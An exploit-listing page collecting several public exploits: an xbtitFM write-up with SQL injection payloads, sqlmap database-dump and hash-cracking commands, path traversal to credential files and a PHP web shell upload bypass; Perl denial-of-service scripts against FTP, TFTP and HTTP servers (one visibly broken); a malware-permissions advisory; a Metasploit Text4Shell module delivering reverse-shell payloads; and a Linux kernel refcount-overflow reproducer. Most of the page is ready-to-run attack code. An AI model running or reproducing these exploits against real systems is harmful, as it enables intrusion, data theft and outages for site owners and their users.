Latest exploits :: CodePwn

<pre><code># Exploit Title: xbtitFM 4.1.18 Multiple Vulnerabilities # Date: 22-01-2024 # Exploit Author: Who cares anyway # Vendor Homepage: https://xbtitfm.eu # Affected versions: 4.1.18 and prior # CVE : Who cares anyway # Description: The SQLi and the path traversal are unauthenticated, they don't require any user interaction to be exploited and are present in the default configuration of xbtitFM. The insecure file upload requires the file_hosting feature (hack) being enabled. If not, it can be enabled by gaining access to an administrator account. Looking at the state and the age of the codebase there are probably more, but who cares anyway... [Unauthenticated SQL Injection - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H] Some examples: Get DB name: /shoutedit.php?action=edit&msgid=1337 AND EXTRACTVALUE(0,CONCAT(0,0,(MID((IFNULL(CAST(DATABASE() AS NCHAR),0)),1,100)))) Get DB user: /shoutedit.php?action=edit&msgid=1337 AND EXTRACTVALUE(0,CONCAT(0,0,(MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0)),1,100)))) Get password hash of any user (might need some modification to work on different instances): /shoutedit.php?action=edit&msgid=1337 OR (1,1) = (SELECT COUNT(0),CONCAT((SELECT CONCAT_WS(0x3a,id,username,password,email,0x3a3a3a) FROM xbtit_users WHERE username='admin_username_or_whatever_you_like'),FLOOR(RAND(0)*2)) FROM (information_schema.tables) GROUP BY 2); Now the fun part. Automate it with sqlmap to dump the database. 1) Get DB name sqlmap -u "https://example.xyz/shoutedit.php?action=edit&msgid=1337" -p msgid --technique=E --answers="include=N" --batch --current-db 2) Get table names sqlmap -u "https://example.xyz/shoutedit.php?action=edit&msgid=1337" -p msgid --technique=E --answers="include=N" --batch -D the_identified_database_name --tables 3) Dump users table (usually called xbtit_users) sqlmap -u "https://example.xyz/shoutedit.php?action=edit&msgid=1337" -p msgid --technique=E --answers="include=N" --batch -D the_identified_database_name -T xbtit_users -C id,username,email,cip,dob,password,salt,secret --dump 4) Crack hashes (usually unsalted MD5, yey!) hashcat –m 0 xbtitfm_exported_hashes.txt wordlist.txt Pro tip: Use All-in-One-P (https://weakpass.com/all-in-one) [Unauthenticated Path traversal - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N] 1) Intentionally search for a file that doesn't exist to get the web application path e.g. (/home/xbtitfm/public_html/) https://example.xyz/nfo/nfogen.php?nfo=random_value_to_get_error_that_reveals_the_real_path 2) Read files that contain database credentials. https://example.xyz/nfo/nfogen.php?nfo=../../../../../../../home/xbtitfm/public_html/include/settings.php https://example.xyz/nfo/nfogen.php?nfo=../../../../../../../home/xbtitfm/public_html/include/update.php Or any other system file you want. https://example.xyz/nfo/nfogen.php?nfo=../../../../../../../etc/passwd 3) Now who needs the SQLi to dump the DB when you have this gem? Check if the following file is configured https://example.xyz/nfo/nfogen.php?nfo=../../../../../../../home/xbtitfm/public_html/sxd/cfg.php If so, go to https://example.xyz/sxd (CBT Sql backup utilitiy aka Sypex-Dumper), login with the DB credentials you just found, now export the DB with on click. Nice and easy. [Insecure file upload - Remote Code Execution (Authenticated)- CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] If that wasn't enough already and you want RCE, visit https://example.xyz/index.php?page=file_hosting If the file hosting feature (hack) is enabled, then simply just upload a PHP shell with the following bypass. Changing the Content-Type of the file to image/gif and the first bytes to GIF89a; are enought to bypass the filetype checks. A silly contermeasure against PHP files is in place so make sure you change <?php to <?pHp to bypass it. Content-Disposition: form-data; name="file"; filename="definately_not_a_shell.php" Content-Type: image/gif GIF89a; <html> <body> <form method="GET" name="<?pHp echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?pHp if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> </pre> </body> </html> The web shell will then be uploaded here: https://example.xyz/file_hosting/definately_not_a_shell.php If the file hosting feature is disabled, extract and crack the hash of an admin, then enable the feature from the administration panel and upload the shell. </code></pre>

<pre><code>#!/usr/bin/perl use IO::Socket::INET; # Exploit Title: Golden FTP Server 2.02b - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 21 january 2024 # Vendor Homepage: N/A # Download to demo: https://drive.google.com/file/d/1AK6x0xKwjVZxoNHbCOIJsIiRAWeMmP_0/view?usp=sharing # Notification vendor: No reported # Tested Version: Golden FTP Server 2.02b - Denial of Service (DoS) # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The FTP server does not correctly handle the amount of data or bytes sent to command RNTO. #When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "[+] Exploiting... \n"; print "[+] Connecting to $ip:$port\n"; my $s = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $port, Proto => 'tcp') or die "Could not connect to $host:$port\n"; $s->send("USER anon\r\n"); my $response = <$s>; print $response; $s->send("PASS anon\r\n"); $response = <$s>; print $response; $s->send("SYST\r\n"); $response = <$s>; print $response; sleep(2); $s->send("PASV " . "\x41"x6631 . "\r\n"); sleep(3); $response = <$s>; print $response; $response = <$s>; print $response; print ">>> Sending second payload\n"; $s->send("PASV " . "\x90"x123 . "\x90"x2877 . "\r\n"); $response = <$s>; print $response; sleep(2); print "[+] Done - Exploited success!!!!!\n\n"; sub intro { print q { ,--, _ ___/ /\| ,;'( )__, ) ~ // // '--; ' \ | ^ ^ ^ [+] Golden FTP Server 2.02b - Denied of Service (DoS) [*] Coded by Fernando Mengali [@] e-mail: fernando.mengalli@gmail.com } } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print " \nUsage: $0 <ip> <port> \n"; exit(-1); } } </code></pre>

<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024 Original source: https://malvuln.com/advisory/15bda00b57e2ed729a45f7cfa62165da.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: TrojanSpy Win32 Nivdort Vulnerability: Insecure Permissions - EoP (SYSTEM) Family: Nivdort Type: PE32 MD5: 15bda00b57e2ed729a45f7cfa62165da Vuln ID: MVID-2024-0668 Dropped files: dqrpgvnkh, egjrdhynfm, nhefhloix, rvoyf6ljtqg4zejno.exe Disclosure: 01/20/2024 Description: The malware creates a service which runs as SYSTEM and grants change (C) permissions to the authenticated user group on its installation directory. Standard low integrity users can still rename the service executable while it is running, replace the PE file with their own and restart the infected system to start the service. C:\>cacls C:\pewcvmnvyr\jwgaklb.exe C:\pewcvmnvyr\jwgaklb.exe BUILTIN\Administrators:(ID)F NT AUTHORITY\SYSTEM:(ID)F BUILTIN\Users:(ID)R NT AUTHORITY\Authenticated Users:(ID)C C:\>sc qc "Group Key KtmRm Coordinator Registry TPM Bus" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: Group Key KtmRm Coordinator Registry TPM Bus TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\pewcvmnvyr\jwgaklb.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Group Key KtmRm Coordinator Registry TPM Bus DEPENDENCIES : SERVICE_START_NAME : LocalSystem Exploit/PoC: Open a cmd prompt as standard user: 1) unhide the service binary C:\Users\norgt>attrib -s -h \pewcvmnvyr\jwgaklb.exe 2) rename the service binary C:\Users\norgt>ren \pewcvmnvyr\jwgaklb.exe PWNED 3) optional replace with your own binary and escalate to SYSTEM C:\Users\norgt>dir \pewcvmnvyr\ Directory of C:\pewcvmnvyr .. 01/14/2024 02:05 AM 0 dqrpgvnkh 01/14/2024 02:05 AM 6 egjrdhynfm 01/14/2024 02:09 AM 4 nhefhloix 01/14/2024 02:05 AM 332,800 PWNED <================= DONE 01/14/2024 02:05 AM 332,800 rvoyf9njtqg4zejno.exe Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code>#!/usr/bin/perl use IO::Socket::INET; # Exploit Title: ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 20 january 2024 # Vendor Homepage: N/A # Download to demo: https://drive.google.com/file/d/1MLqBkCyu0dA-cNgYxCAO8xbsVcof060Z/view?usp=sharing # Notification vendor: No reported # Tested Version: ProSysInfo TFTP Server TFTPDWIN 0.4.2 # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) # Vídeo: https://www.youtube.com/watch?v=BuONti1AWoU #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The TFTP server does not correctly handle the amount of data or bytes sent.. #When authenticating to the TFTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "[+] Exploiting... \n"; my $payload = "\x41"x520; my $socket = IO::Socket::INET->new( PeerAddr => $tftp_server, PeerPort => 69, Proto => 'udp' ) die "Não foi possível conectar ao servidor TFTP: $!\n" unless $socket; print $ftp_socket $buffer; close($socket); print "[+] Done - Exploited success!!!!!\n\n"; sub intro { print "######################################################################\n"; print "# #\n"; print "# ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Denied of Service #\n"; print "# #\n"; print "# Coded by Fernando Mengali #\n"; print "# #\n"; print "# e-mail: fernando.mengalli\@gmail.com #\n"; print "# #\n"; print "######################################################################\n"; } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print " \nUsage: $0 <ip> <port> \n"; exit(-1); } } #3. Solution/ How to fix: # This version product is deprecated </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Remote::Java::HTTP::ClassLoader def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Commons Text RCE', 'Description' => %q{ This exploit takes advantage of the StringSubstitutor interpolator class, which is included in the Commons Text library. A default interpolator allows for string lookups that can lead to Remote Code Execution. This is due to a logic flaw that makes the “script”, “dns” and “url” lookup keys interpolated by default, as opposed to what it should be, according to the documentation of the StringLookupFactory class. Those keys allow an attacker to execute arbitrary code via lookups primarily using the "script" key. In order to exploit the vulnerabilities, the following requirements must be met: Run a version of Apache Commons Text from version 1.5 to 1.9 Use the StringSubstitutor interpolator Target should run JDK < 15 }, 'License' => MSF_LICENSE, 'Author' => [ 'Alvaro Muñoz', # Original research 'Karthik UJ', # PoC 'Gaurav Jain', # Metasploit module ], 'References' => [ ['CVE', '2022-42889'], ['URL', 'https://sysdig.com/blog/cve-2022-42889-text4shell/'], ['URL', 'https://github.com/karthikuj/cve-2022-42889-text4shell-docker'] ], 'Platform' => ['win', 'linux', 'unix', 'java'], 'Targets' => [ [ 'Java (in-memory)', { 'Type' => :java, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' } }, ], [ 'Windows EXE Dropper', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper, 'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' } } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :windows_cmd, 'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' } } ], [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_jjs' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' } } ] ], 'Privileged' => false, 'DisclosureDate' => '2022-10-13', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [ true, 'The target URI', '/']), OptString.new('PARAM', [ true, 'The vulnerable parameter']), OptEnum.new('METHOD', [ true, 'The HTTP method to use', 'GET', ['GET', 'POST']]) ]) end def check vprint_status("Checking if #{peer} can be exploited.") res = send_exp return CheckCode::Unknown('No response received from target.') unless res # blind command injection using sleep command sleep_time = rand(4..8) vprint_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.") _res, elapsed_time = Rex::Stopwatch.elapsed_time do send_exp("java.lang.Thread.sleep(#{sleep_time * 1000})") end vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds.") return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time CheckCode::Vulnerable('Successfully tested command injection.') end def exploit case target['Type'] when :java # Start the HTTP server to serve the payload start_service # Trigger a loadClass request via java.net.URLClassLoader trigger_urlclassloader # Handle the payload handler when :windows_cmd, :unix_cmd execute_command(payload.encoded) when :windows_dropper, :linux_dropper execute_cmdstager end end def trigger_urlclassloader url = get_uri vars = Rex::RandomIdentifier::Generator.new exp = "var #{vars[:str_arr]} = Java.type('java.lang.String[]');" exp << "var #{vars[:obj]} = new java.net.URLClassLoader([new java.net.URL(new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(url)}')))]).loadClass('metasploit.Payload');" exp << "#{vars[:obj]}.getMethod('main', java.lang.Class.forName('[Ljava.lang.String;')).invoke(null, [new #{vars[:str_arr]}(1)]);" res = send_exp(exp) fail_with(Failure::Unreachable, 'No response received from the target') unless res fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200 end def execute_command(cmd, _opts = {}) vars = Rex::RandomIdentifier::Generator.new exp = "var #{vars[:arr]} = [#{win_target? ? '"cmd.exe", "/c"' : '"/bin/sh", "-c"'}, new java.lang.String(java.util.Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(cmd)}\"))];" exp << "java.lang.Runtime.getRuntime().exec(#{vars[:arr]});" res = send_exp(exp) fail_with(Failure::Unreachable, 'No response received from the target') unless res fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200 end def send_exp(exp = '') vars = datastore['METHOD'] == 'GET' ? 'vars_get' : 'vars_post' send_request_cgi( 'method' => datastore['METHOD'], 'uri' => normalize_uri(target_uri.path), vars => { datastore['PARAM'] => "${script:javascript:#{exp}}" } ) end def win_target? target['Platform'] == 'win' end def on_request_uri(cli, request) case target['Type'] when :java # Call method to handle java payload staging super(cli, request) else # Handle win/unix cmd staging client = cli.peerhost print_status("Client #{client} requested #{request.uri}") print_status("Sending payload to #{client}") send_response(cli, exe) end end end </code></pre>

<pre><code>Linux >=5.6: cred refcount overflow at ~39 GiB memory usage via io_uring (see also my related prior bug reports about overflowing refcounts with lots of RAM usage: https://crbug.com/project-zero/809: BPF program refcount, with ~32GiB RAM https://crbug.com/project-zero/1752: page->refcount via FUSE with ~140GiB RAM) Since commit 071698e13ac6 (\"io_uring: allow registering credentials\"), landed in 5.6, it has been possible to grab references to `struct cred` very efficiently - by repeatedly calling the syscall `io_uring_register(fd, IORING_REGISTER_PERSONALITY, NULL, 0)`, it is possible to register up to 0xffff refcounted pointers to `struct cred` in an xarray (or in older kernel versions, in an IDR). These pointers can all be pointing to the same `struct cred`. By using a bunch of io_uring instances, that makes it possible to create a lot of refcounted references to `struct cred` at a very efficient and low amortized memory cost of less than 10 bytes per reference. `struct cred` is refcounted using the member `atomic_t usage`, which is a plain signed 32-bit atomic counter with no overflow checking. I believe there is some history here where Elena Reshetova and Kees Cook have been trying to turn it into a `refcount_t`, which would also fix this kind of issue by marking the refcount as \"saturated\" when it reaches 2^31 and then never freeing the object. Most recently there was this thread, where Kees tried to get that change in; there was some discussion, but I don't think anything has landed so far: <https://lore.kernel.org/all/20230818041740.gonna.513-kees@kernel.org/> So by using ~39 GiB of physical memory, it is possible to store 2^32 references to `struct cred` and overflow the reference counter. That's not exactly a small amount of RAM, but I guess a lot of servers probably have that much RAM? At least cloud providers like AWS sell machines with much more RAM than that. I am including as recipients both akpm (who is the maintainer for kernel/cred.c and was involved in the linked discussion) and the io_uring maintainers (though io_uring, in my opinion, isn't really where the core issue here lies, but it happened to make it possible to hit this overflow using a fairly small amount of physical memory). Reproducer (compile with -pthread; requires ~39GiB of physical RAM, I tested it in a VM so that the host machine could swap a bit): ============ #define _GNU_SOURCE #include <pthread.h> #include <unistd.h> #include <err.h> #include <fcntl.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <ctype.h> #include <signal.h> #include <sys/syscall.h> #include <sys/wait.h> #include <sys/prctl.h> #include <sys/mman.h> #include <sys/resource.h> #include <sys/eventfd.h> #include <linux/io_uring.h> #define SYSCHK(x) ({ \\ typeof(x) __res = (x); \\ if (__res == (typeof(x))-1) \\ err(1, \"SYSCHK(\" #x \")\"); \\ __res; \\ }) // power of 2 #define PARALLELISM 4 static int efd; static void *thread_fn(void *dummy) { for (long refcount = 0; refcount < (1UL<<32)/PARALLELISM;) { struct io_uring_params params = { .flags = IORING_SETUP_NO_SQARRAY }; int uring_fd = SYSCHK(syscall(__NR_io_uring_setup, /*entries=*/40, &params)); printf(\"uring_fd = 0x%x\ \", (unsigned int)uring_fd); for (int i=0; i<0xffff; i++, refcount++) SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_REGISTER_PERSONALITY, NULL, 0)); } printf(\"one thread ready\ \"); eventfd_write(efd, 1); while (1) pause(); } int main(void) { setbuf(stdout, NULL); sync(); struct rlimit rlim; SYSCHK(getrlimit(RLIMIT_NOFILE, &rlim)); if (rlim.rlim_max < 65550) printf(\"WARNING: RLIMIT_NOFILE maximum is probably too low\ \"); rlim.rlim_cur = rlim.rlim_max; SYSCHK(setrlimit(RLIMIT_NOFILE, &rlim)); efd = SYSCHK(eventfd(0, 0)); pthread_t threads[PARALLELISM]; for (int i = 0; i < PARALLELISM; i++) { if (pthread_create(threads+i, NULL, thread_fn, NULL)) errx(1, \"pthread_create\"); } for (int i=0; i<4;) { eventfd_t val; SYSCHK(eventfd_read(efd, &val)); i += val; } printf(\"refs should have wrapped. press ctrl+c for uaf on cleanup.\ \"); while (1) pause(); } ============ The reproducer takes a while to run; when it's done and the cred refcount has been wrapped, you can press ctrl+c to make the process exit, which will repeatedly decrement the cred refcount until the cred refcount reaches zero (when there are actually 2^32 references remaining). At that point, it'll hit the `BUG_ON(cred == current->cred)` check in `__put_cred()`, since the reproducer doesn't go out of its way to avoid this check: ============ kernel BUG at kernel/cred.c:150! invalid opcode: 0000 [#1] PREEMPT SMP CPU: 2 PID: 580 Comm: uring-credref Not tainted 6.7.0-rc3 #362 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014 RIP: 0010:__put_cred+0x55/0x60 Code: 87 a0 00 00 00 85 c0 74 0c 48 81 c7 a0 00 00 00 e9 b0 fe ff ff 48 81 c7 a0 00 00 00 48 c7 c6 40 39 0d b0 e9 9d 53 07 00 0f 0b <0f> 0b 0f 0b 0f 1f 80 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90 RSP: 0018:ffffb2e382b5bcf0 EFLAGS: 00010246 RAX: ffff8c4e21c6c080 RBX: ffff8c52fce02000 RCX: ffffb2e382b5bc94 RDX: 0000000000000001 RSI: ffff8c52fce025c0 RDI: ffff8c4e1f2c2480 RBP: ffff8c52fce025a8 R08: ffffb2e382b5bc98 R09: 0000000000000007 R10: 0000000000000001 R11: 0000000000000001 R12: ffff8c52fce02040 R13: ffff8c4e072fc520 R14: ffff8c576139c9c0 R15: ffff8c4e21c6c938 FS: 0000000000000000(0000) GS:ffff8c598dd00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000055a8bdfd1d70 CR3: 0000000411e47001 CR4: 0000000000770ef0 PKRU: 55555554 Call Trace: <TASK> [...] io_ring_ctx_wait_and_kill+0xa8/0x180 io_uring_release+0x20/0x30 __fput+0x92/0x2c0 task_work_run+0x5a/0x90 do_exit+0x36c/0xbc0 do_group_exit+0x37/0xa0 get_signal+0xbcf/0xbd0 arch_do_signal_or_restart+0x3e/0x270 exit_to_user_mode_prepare+0xba/0x110 syscall_exit_to_user_mode+0x21/0x50 do_syscall_64+0x52/0xf0 entry_SYSCALL_64_after_hwframe+0x6e/0x76 RIP: 0033:0x7ff41d547d92 Code: Unable to access opcode bytes at 0x7ff41d547d68. RSP: 002b:00007ff41d370e30 EFLAGS: 00000293 ORIG_RAX: 0000000000000022 RAX: fffffffffffffdfe RBX: 000000004000bfff RCX: 00007ff41d547d92 RDX: 0000000000000008 RSI: 00007ff41d370e38 RDI: 0000000000000000 RBP: 000000000000ffc1 R08: 0000000000000000 R09: 0000008000000040 R10: 0000000000000000 R11: 0000000000000293 R12: 000000004000bfff R13: 00007ff41d370e50 R14: 00007ff41d370e50 R15: 0000000000000000 </TASK> Modules linked in: ---[ end trace 0000000000000000 ]--- RIP: 0010:__put_cred+0x55/0x60 Code: 87 a0 00 00 00 85 c0 74 0c 48 81 c7 a0 00 00 00 e9 b0 fe ff ff 48 81 c7 a0 00 00 00 48 c7 c6 40 39 0d b0 e9 9d 53 07 00 0f 0b <0f> 0b 0f 0b 0f 1f 80 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90 RSP: 0018:ffffb2e382b5bcf0 EFLAGS: 00010246 RAX: ffff8c4e21c6c080 RBX: ffff8c52fce02000 RCX: ffffb2e382b5bc94 RDX: 0000000000000001 RSI: ffff8c52fce025c0 RDI: ffff8c4e1f2c2480 RBP: ffff8c52fce025a8 R08: ffffb2e382b5bc98 R09: 0000000000000007 R10: 0000000000000001 R11: 0000000000000001 R12: ffff8c52fce02040 R13: ffff8c4e072fc520 R14: ffff8c576139c9c0 R15: ffff8c4e21c6c938 FS: 0000000000000000(0000) GS:ffff8c598dd00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000055a8bdfd1d70 CR3: 0000000411e47001 CR4: 0000000000770ef0 PKRU: 55555554 Fixing recursive fault but reboot is needed! ============ A use-after-free of `struct cred` should be exploitable; one method would be to try to get the freed object allocated again as the `struct cred` of a root-privileged process, another method would be to try to reallocate the object with a buffer containing attacker-controlled data somehow (and then fake a full capability set in init_user_ns with UIDs set to zero). While one tempting easy fix here would be to close off avenues for getting lots of references with little RAM (like somehow making io_uring reuse IDs with a local usage counter when userspace tries to insert the same `struct cred` into the xarray multiple times), I think that this example shows how fragile that method is. It requires knowing about all the various reference paths that can hold references to `struct cred`, and what kinds of multipliers or global limits apply at every point in this reference graph. I think the kernel should be using some flavor of saturating refcounts as the default choice, at least on machines that have enough RAM to store 2^32 pointers. If there are specific cases where the overhead is undesirable, I think we should only omit such a check if we can document exactly how many references can exist at most, with enough warning comments scattered around to ensure that the assumptions can't accidentally be broken inadvertently later on. (Or the kernel could limit SLUB to a maximum of 32 GiB of memory except for specially marked slabs that store objects guaranteed to not hold multiple references to the same object, but I think people would probably hate that idea.) (But note that refcount hardening also has value for protecting against bugs where some repeatedly executed codepath forgets to decrement the refcount, letting it drift up until it wraps around; and that kind of bug is also exploitable without using ginormous amounts of RAM.) This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2024-02-26. Found by: jannh@google.com </code></pre>

<pre><code>#!/usr/bin/perl use IO::Socket; # Exploit Title: MiniWeb HTTP Server 0.8.1 - Denied of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 19 january 2024 # Vendor Homepage: N/A # Download to demo: https://drive.google.com/file/d/1AVHSlsYj5Ukw9co9M2Ql6RsqCTzbI038/view?usp=sharing # Notification vendor: No reported # Tested Version: MiniWeb HTTP Server 0.8.1 - Denied of Service (DoS) # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denied of Service (DoS) # Vídeo: https://www.youtube.com/watch?v=HbAy3RvHpAI #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The FTP server does not correctly handle the amount of data or bytes sent to command RNTO. #When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "[+] Exploiting... \n"; my $payload = "\x41" x 2038; my $http_req = "POST /index.html HTTP/1.1\r\n"; $http_req .= "Host: $ip\r\n"; $http_req .= "From: header-data\r\n"; $http_req .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n"; $http_req .= $payload; my $socket = IO::Socket::INET->new( PeerAddr => $host, PeerPort => $port, Proto => 'tcp' ) or die "[-] Could not connect\n"; $socket->send($http_req); $socket->close(); print "[+] Done - Exploited success!!!!!\n\n"; sub intro { print q { _/| // o\ || ._) //__\ )___( [+] MiniWeb HTTP Server 0.8.1 - Denied of Service (DoS) [*] Coded by Fernando Mengali [@] e-mail: fernando.mengalli@gmail.com } } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print " \nUsage: $0 <ip> <port> \n"; exit(-1); } } </code></pre>